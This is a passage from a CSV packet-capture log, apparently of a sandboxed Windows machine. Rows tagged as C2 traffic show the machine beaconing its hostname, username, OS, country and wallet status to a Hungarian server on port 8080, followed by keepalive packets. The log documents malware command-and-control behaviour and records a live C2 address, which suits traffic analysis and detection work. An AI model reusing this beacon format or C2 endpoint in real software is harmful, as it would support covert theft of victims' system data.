\"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1760, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30782, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50101, \"\"dport\"\": 80, \"\"seq\"\": 416520204, \"\"ack\"\": 2612282626, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:47.026153,59,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1897488115 Ack=747942180,525400577f945254007bb79208004500002c962040008006a359c0a87aa8b9a3cc5dc3b01f9071195ef32c94b12450188000c17000009f000000,....,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 38432, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41817, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488115, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9f000000\"\"}}]\"\n2026-04-29 14:29:47.026196,60,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488119,5254007bb792525400577f94080045000028975840004006e225b9a3cc5dc0a87aa81f90c3b02c94b12471195ef750100053c16c0000,\"RT.{..RT.W....E..(.X@.@..%...]..z.....,..$q.^.P..S.l..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38744, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57893, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:47.026278,61,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1897488119 Ack=747942180,525400577f945254007bb7920800450000c7962140008006a2bdc0a87aa8b9a3cc5dc3b01f9071195ef72c94b12450188000c20b00007b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d,\"{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 199, \"\"id\"\": 38433, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41661, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488119, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49675, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"type\\\"\":\\\"\"info\\\"\",\\\"\"data\\\"\":{\\\"\"hostname\\\"\":\\\"\"DESKTOP-JLCUPK0\\\"\",\\\"\"username\\\"\":\\\"\"0xKal\\\"\",\\\"\"os\\\"\":\\\"\"Microsoft Windows 10 Pro 10.0.19044\\\"\",\\\"\"country\\\"\":\\\"\"NL\\\"\",\\\"\"monitors\\\"\":1,\\\"\"wallets\\\"\":false}}\"\"}}]\"\n2026-04-29 14:29:47.026286,62,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000028975940004006e224b9a3cc5dc0a87aa81f90c3b02c94b12471195f9650100053c16c0000,\"RT.{..RT.W....E..(.Y@.@..$...]..z.....,..$q._.P..S.l..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38745, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57892, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:57.101824,63,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1897488277 Ack=747942180,525400577f945254007bb792080045000029962240008006a35ac0a87aa8b9a3cc5dc3b01f9071195f952c94b12450108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38434, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41818, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488277, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:29:57.101853,64,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000034975a40004006e217b9a3cc5dc0a87aa81f90c3b02c94b12471195f9680100053c17800000101050a71195f9571195f96,\"RT.{..RT.W....E..4.Z@.@......]..z.....,..$q._....S.x.....\nq._.q._.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38746, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57879, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1897488277, 1897488278))]\"\"}}]\"\n2026-04-29 14:30:07.116476,65,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1897488277 Ack=747942180,525400577f945254007bb792080045000029962340008006a359c0a87aa8b9a3cc5dc3b01f9071195f952c94b12450108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38435, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41817, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488277, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:30:07.116552,66,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000034975b40004006e216b9a3cc5dc0a87aa81f90c3b02c94b12471195f9680100053c17800000101050a71195f9571195f96,\"RT.{..RT.W....E..4.[@.@......]..z.....,..$q._....S.x.....\nq._.q._.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38747, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57878, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1897488277, 1897488278))]\"\"}}]\"\n2026-04-29 14:30:17.145904,67,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1897488277 Ack=747942180,525400577f945254007bb792080045000029962440008006a358c0a87aa8b9a3cc5dc3b01f9071195f952c94b12450108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38436, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41816, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488277, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:30:17.145962,68,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000034975c40004006e215b9a3cc5dc0a87aa81f90c3b02c94b12471195f9680100053c17800000101050a71195f9571195f96,\"RT.{..RT.W....E..4.\\@.@......]..z.....,..$q._....S.x.....\nq._.q._.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38748, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57877, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1897488277, 1897488278))]\"\"}}]\"\n2026-04-29 14:30:21.344763,69,TCP 208.95.112.1:80 -> 192.168.122.168:50101,208.95.112.1,192.168.122.168,80,50101,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2612282626 Ack=416520204,5254007bb792525400577f940800450000282cef40004006922fd05f7001c0a87aa80050c3b59bb4450218d3980c501100537bcc0000,\"RT.{..RT.W....E..(,.@.@../._p...z..P....E.....P..S{...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11503, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37423, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50101, \"\"seq\"\": 2612282626, \"\"ack\"\": 416520204, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:21.344924,70,TCP 192.168.122.168:50101 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50101,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=416520204 Ack=2612282627,525400577f945254007bb79208004500002806e140008006783dc0a87aa8d05f7001c3b5005018d3980c9bb44503501020137bcc0000,RT.W..RT.{....E..(..@...x=..z.._p....P......E.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1761, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30781, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50101, \"\"dport\"\": 80, \"\"seq\"\": 416520204, \"\"ack\"\": 2612282627, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:27.321735,71,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1897488277 Ack=747942180,525400577f945254007bb792080045000029962540008006a357c0a87aa8b9a3cc5dc3b01f9071195f952c94b12450108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38437, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41815, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488277, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:30:27.321770,72,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000034975d40004006e214b9a3cc5dc0a87aa81f90c3b02c94b12471195f9680100053c17800000101050a71195f9571195f96,\"RT.{..RT.W....E..4.]@.@......]..z.....,..$q._....S.x.....\nq._.q._.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38749, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57876, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1897488277, 1897488278))]\"\"}}]\"\n2026-04-29 14:30:37.335287,73,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1897488277 Ack=747942180,525400577f945254007bb792080045000029962640008006a356c0a87aa8b9a3cc5dc3b01f9071195f952c94b12450108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38438, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41814, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488277, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:30:37.335338,74,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000034975e40004006e213b9a3cc5dc0a87aa81f90c3b02c94b12471195f9680100053c17800000101050a71195f9571195f96,\"RT.{..RT.W....E..4.^@.@......]..z.....,..$q._....S.x.....\nq._.q._.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38750, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57875, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", 